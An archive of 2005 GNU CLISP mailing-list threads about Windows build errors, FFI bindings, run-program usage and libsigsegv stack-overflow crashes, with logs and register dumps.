make: *** [spvw.o] Error 1

Aneil@SYMBOLIC /cygdrive/c/code/clisp
$

The last entry in configurelog.txt before the errors start is:
ln -s ../src/uninames.h uninames.h
./comment5 spvw.d | ./gctrigger | ./varbrace > spvw.c
./comment5 spvwtabf.d | ./gctrigger | ./varbrace > spvwtabf.c
./comment5 spvwtabs.d | ./gctrigger | ./varbrace > spvwtabs.c
./comment5 spvwtabo.d | ./gctrigger | ./varbrace > spvwtabo.c
./comment5 eval.d | ./gctrigger | ./varbrace > eval.c
./comment5 control.d | ./gctrigger | ./varbrace > control.c
./comment5 encoding.d | ./gctrigger | ./varbrace > encoding.c
./comment5 pathname.d | ./gctrigger | ./varbrace > pathname.c
./comment5 stream.d | ./gctrigger | ./varbrace > stream.c
./comment5 socket.d | ./gctrigger | ./varbrace > socket.c
./comment5 io.d | ./gctrigger | ./varbrace > io.c
./comment5 array.d | ./gctrigger | ./varbrace > array.c
./comment5 hashtabl.d | ./gctrigger | ./varbrace > hashtabl.c
./comment5 list.d | ./gctrigger | ./varbrace > list.c
./comment5 package.d | ./gctrigger | ./varbrace > package.c
./comment5 record.d | ./gctrigger | ./varbrace > record.c

Aneil

On Thu, 17 Mar 2005 09:26:43 -0500, Sam Steingold <sds@gnu.org> wrote:
> > * Aneil Mallavarapu <narvyonobb@tznvy.pbz> [2005-03-17 08:30:17 -0500]:
> >
> > any suggestions?
> 
> read src/NEWS
> 
> > i can get ./configure to work, but
> >     ./configure --with-mingw --with-module=regexp
> > --with-module=syscalls --build build-mingw
> 
> no need for --with-module=syscalls and --with-module=regexp
> (see src/NEWS)
> 
> >     ./configure --with-dynamic-calls=yes --with-mingw --build build-mingw
> 
> what is --with-dynamic-calls=yes?
> 
> > all fail after several pages of "checking _____/ config.status /
> > executing ___" outputs.  I see several lines of containing errors like
> > "no opening delimiter", labels used but not defined, and warnings
> > "assignment from incompatible pointer type".  Finally it reports
> > "confused by earlier errors, bailing out".
> 
> I have never seen this error.
> could you please cut & paste?
> (as per <http://clisp.cons.org/faq.html#bugs>
> and <http://clisp.cons.org/clisp.html#bugs>)
> 
> > I found that the make step fails with a long list of similar warnings
> > & errors, finally bailing out with:
> >     ...
> >     spvw_debug.d: In function `object_out':
> >     spvw_debug.d:31: warning: value computed is not used
> >     spvw_debug.d:32: warning: value computed is not used
> 
> these are warnings (although quite unusual ones).
> 
> >     make: *** [spvw.o] Error 1
> 
> so what was the error?
> 
> > Can anyone suggest a good build recipe?
> 
> ./configure ... --build build-`uname`
> works for me.
> 
> > .... or better yet, will a release be available soon?
> 
> yes, as soon as it is ready
> (do not hold your breath - this is the status since last fall, see
> src/TODO and contribute).
> 
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clisp from CVS head (build on mingw), win2k.
ActiveTcl 8.4.9
lisp2wish (lisp2wish-2004-01-31.tgz from cliki)

[3]> (wish::test-wish)
Handshaking ... ok.
Initializing ... done.
Listening:


Also hangs. Wish it is started, display a window with buttons and too hangs.

Somebody knows in what the reason?

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> * Aneil Mallavarapu <narvyonobb@tznvy.pbz> [2005-03-22 09:09:27 -0500]:
>
> Aneil@SYMBOLIC /cygdrive/c/code/clisp
> $ ./configure --build build1 > configurelog.txt
>
> At first, configure seemed to be succeeding, but after several screens
> of non-error log messages, I receive many screenfuls of the following
> (which I've greatly abbreviated).  )) && ((!defined(WIDE_SOFT) ||
> defined(CONS_HEAP_GROWS_DOWN)) && !defined(CONS_H ) &&
> (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /* e.g. UNIX_LINUX, Linux
> 0.99.  )) && ((__GNUC__ >=
> 3)ESETSPitsize)!defined(WIN32_NATIVE)MORY)4, SUN3860_800 don't match.
> )) && ((!defined(WIDE_SOFT) || defined(CONS_HEAP_GROWS_DOWN)) &&
> !defined(CONS_H ) && (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /*
> e.g. UNIX_LINUX, Linux 0.99.  )) && ((__GNUC__ >=
> 3)ESETSPitsize)!defined(WIN32_NATIVE)MORY)4, SUN3860_800 )) &&
> ((!defined(WIDE_SOFT) || defined(CONS_HEAP_GROWS_DOWN)) &&
> !defined(CONS_H ) && (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /*
> e.g. UNIX_LINUX, Linux 0.99.  ))&&
> (defined(MAP_MEMORY_TABLESize)!defined(WIN32_NATIVE)MORY)4,
> SUN3860_800 don't match.  )) && ((!defined(WIDE_SOFT) ||
> defined(CONS_HEAP_GROWS_DOWN)) && !defined(CONS_H ) &&
> (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /* e.g. UNIX_LINUX, Linux
> 0.99.  ))&& (defined(MAP_MEMORY_TABLES &&
> NIL_IS_CONSTANTNATIVE)MORY)4, SUN3860_800 )) && ((!defined(WIDE_SOFT)
> || defined(CONS_HEAP_GROWS_DOWN)) && !defined(CONS_H ) &&
> (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /* e.g. UNIX_LINUX, Linux
> 0.99.  )) && (!defined(TYPECODESTABLES &&
> NIL_IS_CONSTANTNATIVE)MORY)4, SUN3860_800 don't match.  ...  This goes
> on for a while, then, towards the end: ...

I have never seen anything like this.
the error must be before that.
could you please do
$ uname -a > log
$ ./configure --build build 2>&1 >> log

and post the URL of log here?

thanks!

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There seems to be an extra closing brace in modules/syscalls/calls.c
that causes build failure...

*** - "calls.c":1922: DEFUN must be at the top level (depth -1):
       "DEFUN(POSIX::FILE-INFO, file)"

make[1]: *** [calls.m.c] Error 1
make: *** [syscalls] Error 2

removing the brace fixes it for me...

$ diff -u modules/syscalls/calls~.c modules/syscalls/calls.c
--- modules/syscalls/calls~.c   Mon Mar 21 23:12:37 2005
+++ modules/syscalls/calls.c    Tue Mar 22 11:21:31 2005
@@ -1903,7 +1903,7 @@
   new_handle = handle_dup(old_handle,new_handle);
   end_system_call();
   VALUES1(fixnum(new_handle));
-}}
+}
 
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Hi Eric,

http://clisp.sourceforge.net/impnotes/dffi.html

If you want to avoid rebuilding a lisp image, you need to produce a 
dynamic library from A_COM.c, call it A_COM.dll. Make sure its in the 
same directory as the following file:

----[ a-lisp.lisp ] ------
(use-package :ffi)
(default-foreign-language :stdc)
(def-call-out A_connect (:library "A_COM.dll")
  (:arguments (str c-string) (num uint32))
  (:return-type boolean))
(def-call-out A_send (:library "A_COM.dll")
  (:arguments (str c-string))
  (:return-type boolean))
(def-call-out A_receive (:library "A_COM.dll")
  (:return-type c-string))
(def-call-out A_disconnect (:library "A_COM.dll")
  (:return-type boolean))

Load this file. It should produce A_* functions that can be called from 
lisp. Btw, what sort of "communicating" are you doing? If you have 
dynamic linking errors (eg clisp can't find A_COM.dll) I hope someone on 
the list with more windows experience will help out. The above works for 
me in Linux.

-- 
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>I have C code which is used for comunications.  It has four relavent functions.
>
>A_connect (string, int)-> bollean
>
>A_send (string)->boolean
>
>A_receive () _> string.  Empty string if nothing is pending.
>
>A_disconnect () -> boolean
>.
>I can compile this code using gcc under cygwin (MS XP).
>
>How can I link this into a set of CLISP files which can be loaded to
>add this functionality?
>
>Detail example desired.  The file name is A_COM.c
>
>I would prefer not building a new CLISP memory image.
>
>Thanks
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hi sam,
I've posted the log at :
http://mysite.verizon.net/vze3h476/clisp-log/log

The error messages were not collected in the log.  I copied what
I could from the cygwin window, and saved it at:

http://mysite.verizon.net/vze3h476/clisp-log/cygwin-window-dump.txt
thanks,
aneil
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> I have never seen anything like this.
> the error must be before that.
> could you please do
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> $ ./configure --build build 2>&1 >> log
> 
> and post the URL of log here?
> 
> thanks!
> 
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> * Aneil Mallavarapu <narvyonobb@tznvy.pbz> [2005-03-22 14:23:02 -0500]:
>
> The error messages were not collected in the log.

sorry.
please try

rm -rf build
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./configure --build build >> clisp-build-log.txt 2>&1


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thanks sam, 
that worked.  the log is at 
http://mysite.verizon.net/vze3h476/clisp-log/clisp-build-log.txt

The line "./comment5 spvw.d | ./gctrigger | ./varbrace > spvw.c"
appears just before what seems to be the first error message:
"Opening brace '{' in line 466: #if (defined(MULTITHREAD"

aneil


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> hi sam,
> I've posted the log at :
> http://mysite.verizon.net/vze3h476/clisp-log/log
> 
> The error messages were not collected in the log.  I copied what
> I could from the cygwin window, and saved it at:
> 
> http://mysite.verizon.net/vze3h476/clisp-log/cygwin-window-dump.txt
> thanks,
> aneil
> On Tue, 22 Mar 2005 10:06:43 -0500, Sam Steingold <sds@gnu.org> wrote:
> >
> > I have never seen anything like this.
> > the error must be before that.
> > could you please do
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> > $ ./configure --build build 2>&1 >> log
> >
> > and post the URL of log here?
> >
> > thanks!
> >
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> > MS Windows vs IBM OS/2: Why marketing matters more than technology...
> >
>


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ahh...one clue might be that the machine I'm running is an
intel hyperthreading processor.

I'll try compiling on my other machine and report back.
(though, I've had build errors on the other machine too).

Aneil


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> thanks sam,
> that worked.  the log is at
> http://mysite.verizon.net/vze3h476/clisp-log/clisp-build-log.txt
> 
> The line "./comment5 spvw.d | ./gctrigger | ./varbrace > spvw.c"
> appears just before what seems to be the first error message:
> "Opening brace '{' in line 466: #if (defined(MULTITHREAD"
> 
> aneil
> 
> 
> On Tue, 22 Mar 2005 14:23:02 -0500, Aneil Mallavarapu
> <aneilbaboo@gmail.com> wrote:
> > hi sam,
> > I've posted the log at :
> > http://mysite.verizon.net/vze3h476/clisp-log/log
> >
> > The error messages were not collected in the log.  I copied what
> > I could from the cygwin window, and saved it at:
> >
> > http://mysite.verizon.net/vze3h476/clisp-log/cygwin-window-dump.txt
> > thanks,
> > aneil
> > On Tue, 22 Mar 2005 10:06:43 -0500, Sam Steingold <sds@gnu.org> wrote:
> > >
> > > I have never seen anything like this.
> > > the error must be before that.
> > > could you please do
> > > $ uname -a > log
> > > $ ./configure --build build 2>&1 >> log
> > >
> > > and post the URL of log here?
> > >
> > > thanks!
> > >
> > > --
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> > >
> >
>


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> * Aneil Mallavarapu <narvyonobb@tznvy.pbz> [2005-03-22 16:51:19 -0500]:
>
> http://mysite.verizon.net/vze3h476/clisp-log/clisp-build-log.txt

for some reason varbrace does not see "spvw.d:472:#endif".
please do "rm -f spvw.d; cvs up spvw.d".
look at spvw.d:472, make sure there is an "#endif" there.



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hi sam,
i realized that the clisp-build-log.txt file didn't transfer
completely (i maxed out my web account space limit).

i've zipped the configure logs (~8.3Mb each, uncompressed) from builds
on a hyperthreading and a non-hyperthreading machine (see notes.txt in
the zip):

http://mysite.verizon.net/vze3h476/clisp-log/clisp-build-log.zip

the point at which the errors begin looks the same in both files:
./comment5 spvw.d | ./gctrigger | ./varbrace > spvw.c
Opening brace '{' in line 466: #if (defined(MULTITHREAD
)) && (defined(MICROSOFT) && !defined(UNICODE)

aneil

On Tue, 22 Mar 2005 15:00:08 -0500, Sam Steingold <sds@gnu.org> wrote:
> > * Aneil Mallavarapu <narvyonobb@tznvy.pbz> [2005-03-22 14:23:02 -0500]:
> >
> > The error messages were not collected in the log.
> 
> sorry.
> please try
> 
> rm -rf build
> uname -a > clisp-build-log.txt
> ./configure --build build >> clisp-build-log.txt 2>&1
> 
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cvs head:

(defpackage "MY-PACK" (:modern t) (:use "COMMON-LISP" "FFI"))
(in-package "MY-PACK")
(ffi:default-foreign-language :stdc)

;; compile your C code into a shared library:
(defvar *my-lib* "foo.dll")

> * Eric Biefeld <rovrsryq@tznvy.pbz> [2005-03-21 19:57:34 -0500]:
>
> A_connect (string, int)-> bollean

(def-call-out A_connect (:arguments (s c-string) (n int))
  (:return-type boolean) (:library *my-lib*))

> A_send (string)->boolean

(def-call-out A_send (:arguments (s c-string))
  (:return-type boolean) (:library *my-lib*))

> A_receive () _> string.  Empty string if nothing is pending.

(def-call-out A_receive (:arguments)
  (:return-type c-string) (:library *my-lib*))

> A_disconnect () -> boolean

(def-call-out A_disconnect (:arguments)
  (:return-type boolean) (:library *my-lib*))

> How can I link this into a set of CLISP files which can be loaded to
> add this functionality?

save the above code into a lisp file, compile it, and load the *fas* file.

read <http://clisp.cons.org/impnotes/dffi.html>
and look for docs on all above forms.

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(I try to send 3-rd time, I am sorry if you receive all)

clisp from CVS head (build on mingw), win2k.
ActiveTcl 8.4.9
lisp2wish (lisp2wish-2004-01-31.tgz from cliki)

[3]> (wish::test-wish)
Handshaking ... ok.
Initializing ... done.
Listening:


Also hangs. Wish it is started, display a window with buttons and too hangs.

Somebody knows in what the reason?

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On Tue, 22 Mar 2005 15:17:07 +0200, Yaroslav Kavenchuk <kavenchuk@jenty.by> wrote:

> clisp from CVS head (build on mingw), win2k.
> ActiveTcl 8.4.9
> lisp2wish (lisp2wish-2004-01-31.tgz from cliki)
>
> [3]> (wish::test-wish)
> Handshaking ... ok.
> Initializing ... done.
> Listening:
>
> Also hangs. Wish it is started, display a window with buttons and
> too hangs.
>
> Somebody knows in what the reason?

See last paragraph of this message:

  <http://groups-beta.google.com/group/comp.lang.lisp/msg/f789ae99b36c84a6>

Maybe your problem is related.

Cheers,
Edi.


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[This picks up a thread started with Bruno re: libsigsegv 2.2 -- the
problems are (a) stack overflow when there is plenty of memory, and
(b) an Access Violation crash on the 2nd stack overflow.]

I tried getting more info by running a debug version of CLISP built with
./configure --with-debug --with-mingw --build build-g ;

but built this way, there is no crash, but the stack doesn't grow
enough to compute (ackermann 3 11).

On the other hand, I got a strange error, as you can see in the
console dribble below
  EVAL: variable L has no value
in the evaluation of (run-ackermann).

It looks like the GENERATIONAL_GC is not used in the debug version;
perhaps this is a clue.

e

$ uname -a
MINGW32_NT-5.1 DAWNE 1.0.11(0.46/3/2) 2004-04-30 18:55 i686 unknown

$ ./clisp --version
GNU CLISP 2.33.83 (2005-03-14) (built 3320580763) (memory 3320581251)
Software: GNU C 3.4.2 (mingw-special) 
gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -falign-functions=4 -D_WIN32 -g -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none libcharset.a libavcall.a libcallback.a  -luser32 -lws2_32 -lole32 -loleaut32 -luuid  -L/usr/local/lib -lsigsegv 
SAFETY=3 HEAPCODES STANDARD_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.2
Features: 
(REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL
 INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE
 BASE-CHAR=CHARACTER PC386 WIN32)
Installation directory: C:\dev\clisp\clisp\build-g\
User language: ENGLISH
Machine: PC/386 (PC/686) dawne [192.168.168.26]


Reserved address range 0x22010000-0x5d08ffff .
STACK depth: 16363
SP depth: 1073612826
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2005

[1]> (defun ackermann (m n)
  (declare (type integer m n))
  (cond
    ((zerop m) (1+ n))
    ((zerop n) (ackermann (1- m) 1))
    (t (ackermann (1- m) (ackermann m (1- n))))))
ACKERMANN

[2]> (defun run-ackermann ()
   (ackermann 3 11))
RUN-ACKERMANN
[3]> (run-ackermann)

*** - EVAL: variable L has no value
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead of L.
STORE-VALUE    :R2      You may input a new value for L.
ABORT          :R3      ABORT
Break 1 [4]> :r3
[5]> (run-ackermann)

*** - EVAL: variable L has no value
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead of L.
STORE-VALUE    :R2      You may input a new value for L.
ABORT          :R3      ABORT
Break 1 [6]> (ackermann 3 11)

*** - Program stack overflow. RESET
Break 1 [6]> (ackermann 3 11)

*** - Program stack overflow. RESET
Break 1 [6]> (ackermann 3 11)

*** - Program stack overflow. RESET
Break 1 [6]> :abort
:ABORT
Break 1 [6]> (reset)

*** - EVAL: undefined function RESET
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead of (FDEFINITIO
 'RESET).
RETRY          :R2      Retry
STORE-VALUE    :R3      You may input a new value for (FDEFINITION 'RESET).
ABORT          :R4      ABORT
ABORT          :R5      ABORT
Break 2 [7]> :r5
[8]> (ackermann 3 11)

*** - Program stack overflow. RESET
[9]> (ackermann 3 11)

*** - Program stack overflow. RESET
[10]> (ackermann 3 11)

*** - Program stack overflow. RESET
[11]> (ackermann 3 11)

*** - Program stack overflow. RESET
[12]> *features*
(:REGEXP :SYSCALLS :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP
 :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN
 :FFI :UNICODE :BASE-CHAR=CHARACTER :PC386 :WIN32)
[13]>


Tuesday, March 22, 2005, 7:03:36 PM, I wrote:

> I can generate this problem simply by defining

> (defun ackermann (m n)
>   (declare (type integer m n))
>   (cond
>     ((zerop m) (1+ n))
>     ((zerop n) (ackermann (1- m) 1))
>     (t (ackermann (1- m) (ackermann m (1- n))))))

> (defun run-ackermann ()
>    (ackermann 3 11))

> and entering

> (run-ackermann)

> in a clisp console twice. The first time it gives the
> *** - Program stack overflow. RESET
> message. The second time it gives the message, and crashes.

> GNU CLISP 2.33.83 (2005-03-14) (built 3320497605) (memory 3320497960)
> Software: GNU C 3.4.2 (mingw-special) 
> gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
> -Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations
> -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT
> -I. -x none libcharset.a libavcall.a libcallback.a  -luser32
> -lws2_32 -lole32 -loleaut32 -luuid  -L/usr/local/lib -lsigsegv 
> SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
> libsigsegv 2.2
> Features: 
> (REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL
>  INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE
>  BASE-CHAR=CHARACTER PC386 WIN32)
> Installation directory: C:\Dev\clisp\clisp\build-mingw\
> User language: ENGLISH
> Machine: PC/386 (PC/686) dawne [192.168.168.26]

> Whereas in 2.33.2 I get no crash...

> [1]> *features*
> (:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL
> :INTERPRETER :SOCKETS :GENERIC-STREAMS
>  :LOGICAL-PATHNAMES :SCREEN :FFI :UNICODE :BASE-CHAR=CHARACTER :PC386 :WIN32)
> [2]> (defun ackermann (m n)
>   (declare (type integer m n))
>   (cond
>     ((zerop m) (1+ n))
>     ((zerop n) (ackermann (1- m) 1))
>     (t (ackermann (1- m) (ackermann m (1- n))))))
> ACKERMANN

> [3]> (defun run-ackermann ()
>    (ackermann 3 11))
> RUN-ACKERMANN
> [4]> (RUN-ACKERMANN)

> *** - Lisp stack overflow. RESET
> [5]> (RUN-ACKERMANN)

> *** - Lisp stack overflow. RESET
> [6]> (RUN-ACKERMANN)

> *** - Lisp stack overflow. RESET
> [7]> (RUN-ACKERMANN)

> *** - Lisp stack overflow. RESET
> [8]>

> Regards,

> e

> Earlier I wrote...

> Monday, March 14, 2005, 8:17:59 AM, you wrote:

>>> libsigsegv: i386-pc-mingw32 | yes | yes | 2.2

>> Thanks, I'm adding this to the PORTING file.

> Hmm. I just tried running cl-bench with clisp built from CVS using
> libsigsegv 2.2 and got an Access Violation crash. Below is the DrMinGW
> dump. The console said:

> === running #<benchmark FIB-RATIO for 500 runs>
> === running #<benchmark ACKERMANN for 1 runs>

> *** - Program stack overflow. RESET

> *** - Program stack overflow. RESET

> <crash>

> There were no ACKERMANN results in the cl-bench report.

> Regards,

> e

> lisp.exe caused an Access Violation at location 0041b948 in
> module lisp.exe Reading from location 00030ffc.

> Registers:
> eax=004dc201 ebx=00031000 ecx=0041b930 edx=00000000 esi=00000000 edi=00030000
> eip=0041b948 esp=0022fd98 ebp=0022fdb0 iopl=0         nv up ei pl zr na po nc
> cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

> Call stack:
> 0041B948  lisp.exe:0041B948
> 0041BC6D  lisp.exe:0041BC6D
> 0041BC92  lisp.exe:0041BC92
> 004D0E15  lisp.exe:004D0E15  stack_overflow_handler  handler-win32.c:116
> static void stack_overflow_handler(
>         long unsigned int faulting_page_address = 2292428,
>         stackoverflow_context_t context = &{
>                 DWORD ContextFlags = ,
>                 DWORD Dr0 = ,
>                 DWORD Dr1 = ,
>                 DWORD Dr2 = ,
>                 DWORD Dr3 = ,
>                 DWORD Dr6 = ,
>                 DWORD Dr7 = ,
>                 FLOATING_SAVE_AREA FloatSave = {
>                         DWORD ControlWord = ,
>                         DWORD StatusWord = ,
>                         DWORD TagWord = ,
>                         DWORD ErrorOffset = ,
>                         DWORD ErrorSelector = ,
>                         DWORD DataOffset = ,
>                         DWORD DataSelector = ,
>                         BYTEuint32[] RegisterArea = (array),
>                         DWORD Cr0NpxState = 
>                 },
>                 DWORD SegGs = ,
>                 DWORD SegFs = ,
>                 DWORD SegEs = ,
>                 DWORD SegDs = ,
>                 DWORD Edi = ,
>                 DWORD Esi = ,
>                 DWORD Ebx = ,
>                 DWORD Edx = ,
>                 DWORD Ecx = ,
>                 DWORD Eax = ,
>                 DWORD Ebp = ,
>                 DWORD Eip = ,
>                 DWORD SegCs = ,
>                 DWORD EFlags = ,
>                 DWORD Esp = ,
>                 DWORD SegSs = ,
>                 BYTEuint32[] ExtendedRegisters = (array)
>         }
> )
>         ...
>          ok:
>           for (;;)
>>           (*stk_user_handler) (0, context);
>         }
        
>         ...

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> * Doug Currie <r@synibef.pbz> [2005-03-23 11:10:41 -0500]:
>
> On the other hand, I got a strange error, as you can see in the
> console dribble below
>   EVAL: variable L has no value
> in the evaluation of (run-ackermann).

this is an artifact of cut&paste into the mingw clisp running in a
cygwin window.
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>> * Doug Currie <r@synibef.pbz> [2005-03-23 11:10:41 -0500]:
>>
>> On the other hand, I got a strange error, as you can see in the
>> console dribble below
>>   EVAL: variable L has no value
>> in the evaluation of (run-ackermann).

> this is an artifact of cut&paste into the mingw clisp running in a
> cygwin window.
> I cannot figure this out - clues are welcome.

If I remove the <CR><LF> from the lines I paste into the console, the
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I have been reading the impnotes and playing around with the latest
clisp, trying to figure out how to run an external program in the
background, while also supplying an argument list.

One can pass and argument list to ext:execute, but I don't think you
run a process in the background.

ext:run-program has the :wait keyword, but I don't know how to use
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> * Russell McManus <ehffryy_zpznahf@lnubb.pbz> [2005-03-23 09:25:49 -0500]:
>
> ext:run-program has the :wait keyword, but I don't know how to use
> this to pass arguments to the program.  Am I missing something easy?

(ext:run-program "ls" :arguments '("-a" "-R" "-l" "foo/") :wait nil)

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Russell McManus writes:
> 
> I have been reading the impnotes and playing around with the latest
> clisp, trying to figure out how to run an external program in the
> background, while also supplying an argument list.
> 
> One can pass and argument list to ext:execute, but I don't think you
> run a process in the background.
> 
> ext:run-program has the :wait keyword, but I don't know how to use
> this to pass arguments to the program.  Am I missing something easy?

  clisp                                    shell
  ----------                               ----------
  (ext:run-program "pgm" :wait t)   ===    pgm
  (ext:run-program "pgm" :wait nil) ===    pgm &

It's entirely orthogonal to the argument passing, which is done with
the :arguments keyword.

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the #endif is in the correct spot.

On Tue, 22 Mar 2005 17:40:46 -0500, Sam Steingold <sds@gnu.org> wrote:
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> > http://mysite.verizon.net/vze3h476/clisp-log/clisp-build-log.txt
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> for some reason varbrace does not see "spvw.d:472:#endif".
> please do "rm -f spvw.d; cvs up spvw.d".
> look at spvw.d:472, make sure there is an "#endif" there.
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Following up my earlier report (below) of a crash running cl-bench's
(ackermann 3 11) when clisp is compiled with libsigsegv 2.2 on WinXP
with MinGW/MSYS...

I rebuilt libsigsegv with the debug switch in handler-win32.c on. Here
is what results by simply launching clisp.exe and entering:

(defun ackermann (m n) (declare (type integer m n))
(cond ((zerop m) (1+ n)) ((zerop n) (ackermann (1- m) 1))
(t (ackermann (1- m) (ackermann m (1- n))))))
(ackermann 3 11)

This is different from the last report where I had to run (ackermann 3
11) twice before there was a crash.

I assume all the "Code = 0xc0000005" exceptions below are normal
Generational GC write barriers.

The stack after the first stack overflow trap is at 0x32fe0 whereas
the stack starts out at about 0x22fb38. Some observations:

1. the fault occurs at 0x30ffc which looks a lot like the stack wasn't
really unwound

2. register ebx is 0x31000 after the second trap (0x32000 after the
first)

3. I notice that non-windows platforms set STACK (%ebx) back to
something else from the CONTEXT inside stackoverflow_handler(). The
syntax of the UNIX_CYGWIN32 case should work in WIN32_NATIVE -- what
is this supposed to do? The value (e.g., 0x32000) doesn't look too
useful for STACK to me.

e

Exception!
Code = 0xc0000005
Flags = 0x0
Address = 0x47c2c6
Params: 0x1, 0x2215d498,
Registers:
eip = 0x47c2c6
eax = 0x2215d445, ebx = 0xbd1008, ecx = 0x0, edx = 0x0
esi = 0x2215d445, edi = 0x5d03f45b, ebp = 0x22fb48, esp = 0x22fb38
Exception!
Code = 0xc0000005
Flags = 0x0
Address = 0x47c2c6
Params: 0x1, 0x2213c428,
Registers:
eip = 0x47c2c6
eax = 0x2213c3d5, ebx = 0xbd1008, ecx = 0x0, edx = 0x0
esi = 0x2213c3d5, edi = 0x5d049d63, ebp = 0x22fb48, esp = 0x22fb38
Exception!
Code = 0xc0000005
Flags = 0x0
Address = 0x47c2c6
Params: 0x1, 0x2213b2fc,
Registers:
eip = 0x47c2c6
eax = 0x2213b2a9, ebx = 0xbd1008, ecx = 0x0, edx = 0x0
esi = 0x2213b2a9, edi = 0x5d049d6b, ebp = 0x22fb48, esp = 0x22fb38
Exception!
Code = 0xc0000005
Flags = 0x0
Address = 0x4928e4
Params: 0x1, 0x2201f8a8,
Registers:
eip = 0x4928e4
eax = 0x4000031, ebx = 0xbd1008, ecx = 0x2201f8a5, edx = 0x58cd30
esi = 0x2215f495, edi = 0x0, ebp = 0x22be28, esp = 0x22be00
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Exception!
Code = 0xc0000005
Flags = 0x0
Address = 0x433ad5
Params: 0x1, 0x220232dc,
Registers:
eip = 0x433ad5
eax = 0x4dc201, ebx = 0xbd1054, ecx = 0xbd1048, edx = 0x220232d5
esi = 0x22028e65, edi = 0x220289fa, ebp = 0x22bbe8, esp = 0x22ba60
Exception!
Code = 0xc0000005
Flags = 0x0
Address = 0x433a7f
Params: 0x1, 0x22074b6c,
Registers:
eip = 0x433a7f
eax = 0x4dc201, ebx = 0xbd100c, ecx = 0x2215d2dd, edx = 0x22074b65
esi = 0x22bba0, edi = 0x22074b2d, ebp = 0x22bb68, esp = 0x22ba30
[1]> Exception!
Code = 0xc0000005
Flags = 0x0
Address = 0x49fc2a
Params: 0x1, 0x2201dbc0,
Registers:
eip = 0x49fc2a
eax = 0x2201dbad, ebx = 0xbd1098, ecx = 0x1, edx = 0xbd1094
esi = 0xbd1080, edi = 0x22b590, ebp = 0x22b478, esp = 0x22b470
(defun ackermann (m n) (declare (type integer m n)) (cond ((zerop m) (1+ n)) ((z
erop n) (ackermann (1- m) 1)) (t (ackermann (1- m) (ackermann m (1- n))))))
Exception!
Code = 0xc0000005
Flags = 0x0
Address = 0x425980
Params: 0x1, 0x2210cfb8,
Registers:
eip = 0x425980
eax = 0x28, ebx = 0xbd1098, ecx = 0x2201dbad, edx = 0xc80
esi = 0x0, edi = 0x2210cfb1, ebp = 0x22b438, esp = 0x22b430
Exception!
Code = 0xc0000005
Flags = 0x0
Address = 0x425980
Params: 0x1, 0x2210d000,
Registers:
eip = 0x425980
eax = 0x6d, ebx = 0xbd1098, ecx = 0x2201dbad, edx = 0xc80
esi = 0x12, edi = 0x2210cfb1, ebp = 0x22b438, esp = 0x22b430
Exception!
Code = 0xc0000005
Flags = 0x0
Address = 0x425c24
Params: 0x1, 0x22030fcc,
Registers:
eip = 0x425c24
eax = 0x0, ebx = 0xbd1120, ecx = 0x2201dbc5, edx = 0xd
esi = 0x64, edi = 0x22030fc5, ebp = 0x22b2b8, esp = 0x22b2a0
Exception!
Code = 0xc0000005
Flags = 0x0
Address = 0x4afb8b
Params: 0x1, 0x22010cd0,
Registers:
eip = 0x4afb8b
eax = 0x22010bdd, ebx = 0xbd1118, ecx = 0x3f, edx = 0x3b
esi = 0x22010ce1, edi = 0x2216567d, ebp = 0x22b2d8, esp = 0x22b2b0
Exception!
Code = 0xc0000005
Flags = 0x0
Address = 0x4587cf
Params: 0x1, 0x2201c5d0,
Registers:
eip = 0x4587cf
eax = 0xd9944738, ebx = 0xbd10d0, ecx = 0x0, edx = 0xec4cb9ca
esi = 0x2201c5c9, edi = 0x2201c5d0, ebp = 0x22aec8, esp = 0x22aea0
Exception!
Code = 0xc0000005
Flags = 0x0
Address = 0x433ad5
Params: 0x1, 0x2202617c,
Registers:
eip = 0x433ad5
eax = 0x4dc201, ebx = 0xbd10e0, ecx = 0xbd10d4, edx = 0x22026175
esi = 0x220281d1, edi = 0x220281c5, ebp = 0x22b058, esp = 0x22af20
Exception!
Code = 0xc0000005
Flags = 0x0
Address = 0x433ad5
Params: 0x1, 0x22025f78,
Registers:
